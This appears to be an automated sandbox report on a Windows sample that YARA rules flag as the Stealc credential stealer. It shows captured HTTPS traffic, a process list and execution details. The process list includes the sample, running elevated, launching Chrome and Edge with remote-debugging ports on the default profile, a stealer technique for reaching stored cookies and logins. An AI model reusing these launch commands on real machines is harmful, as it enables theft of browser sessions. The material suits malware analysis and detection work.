2024-10-29 19:35:22 UTC	634	OUT	GET /tenant/amp/entityid/BB14D0jG.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-29 19:35:22 UTC	519	IN	HTTP/1.1 200 OK Last-Modified: Mon, 16 Sep 2024 14:53:46 GMT Access-Control-Allow-Origin: * X-Datacenter: westus X-ActivityId: 122e5b03-c16c-459e-8b9c-8d95bfdcdb0f Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB14D0jG X-Source-Length: 42413 Content-Length: 42413 Cache-Control: public, max-age=199479 Expires: Fri, 01 Nov 2024 03:00:01 GMT Date: Tue, 29 Oct 2024 19:35:22 GMT Connection: close
2024-10-29 19:35:22 UTC	15865	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 01 2c 01 2c 00 00 ff e1 0e cc 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 24 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 96 87 69 00 04 00 00 00 01 00 00 00 aa 00 00 00 d6 00 2d c6 c0 00 00 27 10 00 2d c6 c0 00 00 27 10 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 20 28 4d 61 63 69 6e 74 6f 73 68 29 00 32 30 31 39 3a 30 31 3a 32 33 20 31 33 3a 32 34 3a 31 38 00 00 03 a0 01 00 03 00 00 00 01 00 01 00 00 a0 02 00 04 00 00 00 01 00 00 01 c3 a0 03 00 04 00 00 00 01 00 00 01 92 00 00 00 00 00 00 00 06 01 03 00 03 00 00 00 01 00 Data Ascii: JFIF,,ExifMM*bj(1$r2i-'-'Adobe Photoshop CC 2017 (Macintosh)2019:01:23 13:24:18
2024-10-29 19:35:22 UTC	16384	IN	Data Raw: 38 22 2f 3e 0d 0a 09 09 09 09 09 09 09 09 09 3c 72 64 66 3a 6c 69 20 78 6d 70 47 3a 73 77 61 74 63 68 4e 61 6d 65 3d 22 43 3d 37 35 20 4d 3d 31 30 30 20 59 3d 30 20 4b 3d 30 22 20 78 6d 70 47 3a 6d 6f 64 65 3d 22 52 47 42 22 20 78 6d 70 47 3a 74 79 70 65 3d 22 50 52 4f 43 45 53 53 22 20 78 6d 70 47 3a 72 65 64 3d 22 31 30 32 22 20 78 6d 70 47 3a 67 72 65 65 6e 3d 22 34 35 22 20 78 6d 70 47 3a 62 6c 75 65 3d 22 31 34 35 22 2f 3e 0d 0a 09 09 09 09 09 09 09 09 09 3c 72 64 66 3a 6c 69 20 78 6d 70 47 3a 73 77 61 74 63 68 4e 61 6d 65 3d 22 43 3d 35 30 20 4d 3d 31 30 30 20 59 3d 30 20 4b 3d 30 22 20 78 6d 70 47 3a 6d 6f 64 65 3d 22 52 47 42 22 20 78 6d 70 47 3a 74 79 70 65 3d 22 50 52 4f 43 45 53 53 22 20 78 6d 70 47 3a 72 65 64 3d 22 31 34 36 22 20 78 6d 70 47 Data Ascii: 8"/><rdf:li xmpG:swatchName="C=75 M=100 Y=0 K=0" xmpG:mode="RGB" xmpG:type="PROCESS" xmpG:red="102" xmpG:green="45" xmpG:blue="145"/><rdf:li xmpG:swatchName="C=50 M=100 Y=0 K=0" xmpG:mode="RGB" xmpG:type="PROCESS" xmpG:red="146" xmpG
2024-10-29 19:35:22 UTC	2020	IN	Data Raw: 9c b2 16 6f 83 6b fa fe fd a0 7e 03 f8 67 f6 9c f8 37 e2 0f 01 f8 c2 c1 75 2f 0f 78 96 d1 ad 2e a2 3c 32 e7 95 91 0f f0 c8 8c 15 d1 ba ab 28 3d ab f9 5f fd b9 7f 64 0f 10 fe c2 bf b4 cf 89 3e 1c f8 8b 74 d2 69 33 79 96 17 c1 36 47 aa 59 3e 4c 17 28 3d 19 7a 80 4e d7 57 5c 92 a6 be 8b 2f c5 fb 48 f2 4f 75 f8 9e 66 22 8f 23 ba d9 9e 43 5d 57 c1 4f 8c 9e 20 fd 9f 3e 2d f8 77 c6 fe 15 be 6d 3f c4 1e 18 be 8f 50 b1 9c 74 0e 87 3b 58 7f 12 30 ca b2 9e 19 59 81 e0 9a e5 68 af 4b 46 ac ce 6f 33 fa dc fd 8b 3f 6a 7d 0f f6 d4 fd 99 bc 27 f1 23 40 65 8e d7 c4 56 81 ee 2d 77 ee 6d 3e e9 3e 49 ed db de 39 15 97 38 1b 80 0c 38 61 5e b1 9a fc 29 ff 00 83 5d bf 6d 76 f0 0f c6 bf 10 7c 11 d5 ef 36 e9 3e 36 8d f5 8d 09 5d b8 8b 51 82 3f df 46 a3 fe 9a db a6 e3 ef 6a a0 7d Data Ascii: ok~g7u/x.<2(=_d>ti3y6GY>L(=zNW\/HOuf"#C]WO >-wm?Pt;X0YhKFo3?j}'#@eV-wm>>I988a^)]mv\|6>6]Q?Fj}
2024-10-29 19:35:22 UTC	8144	IN	Data Raw: c3 48 d7 a5 cd be af 1b 7d 06 95 76 df cd 45 7c 4b 5f 73 7f c1 b9 da 33 6a 9f f0 55 ff 00 02 ce ab b8 69 ba 7e ad 70 4e 3e e8 3a 7c f1 7f ed 41 f9 d7 66 2b f8 12 f4 66 54 7e 35 ea 7f 49 d4 51 45 7c 89 ec 05 14 51 40 05 14 51 40 05 14 51 40 08 7e f0 aa da cf fc 82 ee 7f eb 8b ff 00 23 56 4f de 15 5b 59 ff 00 90 5d cf fd 71 7f e4 6a 65 b1 a5 1f 8d 7a 9f 8f 34 51 45 7e 07 3f 89 9f de 94 7e 05 e8 82 8a 28 a9 34 0a 28 a2 80 3f 4a 3f e0 9f 43 fe 31 2f c2 ff 00 ef 5d ff 00 e9 5c d5 ed 03 ad 78 bf fc 13 eb fe 4d 2f c2 ff 00 ef 5d ff 00 e9 5c d5 ed 03 ad 7e e1 95 ff 00 b9 d2 ff 00 0c 7f 24 7f 10 71 47 fc 8e 31 5f f5 f2 7f fa 53 0a 28 a2 bd 03 c2 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 3f 2f ff 00 e0 ea 8f 01 36 bb fb 0f f8 27 c4 11 ab 33 68 1e 31 8a 19 30 3e e4 57 16 Data Ascii: H}vE\|K_s3jUi~pN>:\|Af+fT~5IQE\|Q@Q@Q@~#VO[Y]qjez4QE~?~(4(?J?C1/]\xM/]\~$qG1_S((((?/6'3h10>W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
145	192.168.2.5	49926	13.107.246.57	443	7240	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:35:22 UTC	438	OUT	GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-29 19:35:22 UTC	543	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:35:22 GMT Content-Type: image/png Content-Length: 1579 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:08 GMT ETag: 0x8DBDCB5DE99522A x-ms-request-id: b303ff9e-d01e-0003-61d9-296b00000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241029T193522Z-17c5cb586f6hhlf5mrwgq3erx800000008b000000000amm7 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 19:35:22 UTC	1579	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 c0 49 44 41 54 78 01 ed 58 4f 8b 5c 45 10 af 7a f3 66 66 15 c5 fd 00 42 66 f2 05 b2 22 c2 1e 54 d6 4f 90 15 c1 63 d8 e0 49 04 37 01 11 11 25 89 e0 d5 04 0f 1a f0 e0 e6 62 c4 cb 1e 44 50 21 b8 df 20 7b f0 4f 6e 1b 4f 8b 20 cc 7a 89 b3 ef 75 57 f9 ab ea 9e 37 cb 66 77 66 36 93 83 84 ad a4 d3 fd de eb 79 fd 7b bf fa 55 75 75 88 4e ed d4 9e 20 5b d9 dc ed 2d df de ed d1 63 34 a6 39 6c e5 fb c1 4a 54 39 2f 42 ab 22 d2 8b 91 54 a2 92 d4 91 63 90 6d 09 74 57 2a fd fc b7 77 9e df a6 47 b4 47 02 b8 f2 f3 60 29 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxXO\EzffBf"TOcI7%bDP! {OnO zuW7fwf6y{UuuN [-c49lJT9/B"TcmtW*wGG`)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
146	192.168.2.5	49927	20.75.60.91	443	7240	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:35:22 UTC	999	OUT	GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=09AD4FBAEAAE613425ED5A9DEBF960D9&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=6686581979505309747&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=d7a261280809462aeb9b91276f11b57f HTTP/1.1 Host: arc.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=09AD4FBAEAAE613425ED5A9DEBF960D9; _EDGE_S=F=1&SID=00E043A9BE346C330DA1568EBFDC6DE2; _EDGE_V=1
2024-10-29 19:35:23 UTC	777	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 2720 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"DcoPlusDebug":"Status: Ok"},{"RADIDS":"1,P425132763-T700344123-C128000000002117089+B+P60+S1"},{"BATCH_REDIRECT_STORE":"B128000000002117089+P0+S0"},{"OPTOUTSTATE":"256"},{"REGIONALPOLICY":"0"}] Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Allow-Credentials: true X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Tue, 29 Oct 2024 19:35:22 GMT Connection: close
2024-10-29 19:35:23 UTC	2720	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 4d 53 4e 41 6e 61 68 65 69 6d 4e 65 77 73 4e 54 50 49 6d 61 67 65 48 6f 74 73 70 6f 74 73 5c 22 2c 5c 22 75 5c 22 3a 5c 22 4d 53 4e 41 6e 61 68 65 69 6d 4e 65 77 73 4e 54 50 49 6d 61 67 65 73 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 74 69 74 6c 65 5c 22 3a 5c 22 41 73 68 6c 61 6e 64 2c 20 44 65 6c 61 77 61 72 65 5c 22 2c 5c 22 63 74 61 5c 22 3a 5c 22 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 62 69 6e 67 2e 63 6f 6d 5c 2f 73 65 61 72 63 68 3f 71 3d 41 73 68 6c 61 6e 64 2b 43 6f 76 65 72 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"MSNAnaheimNewsNTPImageHotspots\",\"u\":\"MSNAnaheimNewsNTPImages\"}],\"ad\":{\"title\":\"Ashland, Delaware\",\"cta\":\"https:\/\/www.bing.com\/search?q=Ashland+Cover

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.5	49929	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:35:22 UTC	192	OUT	GET /rules/rule701050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:35:23 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:35:22 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB256F43" x-ms-request-id: 6c5e14af-601e-0002-6c01-27a786000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193522Z-17c5cb586f6g6g2sa7kg5c0gg000000002c0000000001wb2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:35:23 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 6c 65 61 73 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRelease" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.5	49930	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:35:22 UTC	192	OUT	GET /rules/rule702750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:35:23 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:35:23 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE5B7B174" x-ms-request-id: c9c29ab6-a01e-0032-2092-291949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193523Z-17c5cb586f6lxnvg801rcb3n8n00000006xg00000000antt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:35:23 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 75 62 6c 69 73 68 65 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPublisher" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.5	49931	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:35:22 UTC	192	OUT	GET /rules/rule702751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:35:23 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:35:23 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB866CDB" x-ms-request-id: 6d58be1b-301e-0052-189d-2765d6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193523Z-17c5cb586f69w69mgazyf263an000000066g0000000095fg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:35:23 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Target ID:	0
Start time:	15:34:47
Start date:	29/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xb50000
File size:	2'118'144 bytes
MD5 hash:	76592155EBF188967A4BEAC78A55A862
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2578960631.0000000000B51000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2580701195.00000000013BE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.2165259580.0000000004F20000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.2580701195.0000000001436000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	15:34:56
Start date:	29/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	15:34:57
Start date:	29/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2840 --field-trial-handle=2088,i,1954043668539771639,8201722500257745172,262144 /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	15:35:08
Start date:	29/10/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	15:35:08
Start date:	29/10/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2692 --field-trial-handle=2548,i,8434431473266901981,1364443360911766042,262144 /prefetch:3
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	15:35:08
Start date:	29/10/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	15:35:09
Start date:	29/10/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2128 --field-trial-handle=2072,i,11562433093495282818,3155282962993123888,262144 /prefetch:3
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	16
Start time:	15:35:15
Start date:	29/10/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=7076 --field-trial-handle=2072,i,11562433093495282818,3155282962993123888,262144 /prefetch:8
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	15:35:15
Start date:	29/10/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7236 --field-trial-handle=2072,i,11562433093495282818,3155282962993123888,262144 /prefetch:8
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	15:36:09
Start date:	29/10/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7200 --field-trial-handle=2072,i,11562433093495282818,3155282962993123888,262144 /prefetch:8
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	0.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	30.6%
Total number of Nodes:	108
Total number of Limit Nodes:	12

Executed Functions

Function 6C5735A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6C5FF688,00001000), ref: 6C5735D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C5735E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6C5735FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C57363F
